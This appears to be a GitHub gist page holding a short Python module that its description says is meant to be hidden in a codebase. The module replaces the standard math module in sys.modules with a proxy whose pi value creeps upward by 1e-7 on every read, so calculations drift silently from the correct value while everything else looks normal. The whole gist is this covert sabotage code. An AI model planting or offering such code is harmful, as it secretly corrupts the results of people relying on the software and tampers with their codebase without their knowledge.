Skip to content

Instantly share code, notes, and snippets.

@judy2k
Created August 20, 2015 08:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save judy2k/59ea88b4d39ee6ff88a0 to your computer and use it in GitHub Desktop.
Save judy2k/59ea88b4d39ee6ff88a0 to your computer and use it in GitHub Desktop.
A module to hide in a codebase. Each time math.pi is requested its value will change by a tiny amount, gradually drifting away from the correct value.
import sys
import math as _math
__doc__ = _math.__doc__
class NewMath(object):
_pi = _math.pi
@property
def pi(self):
pi = self._pi
self._pi += 0.0000001
return pi
def __getattr__(self, name):
# Proxy everything else to the real math module
return getattr(_math, name)
sys.modules['math'] = NewMath()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment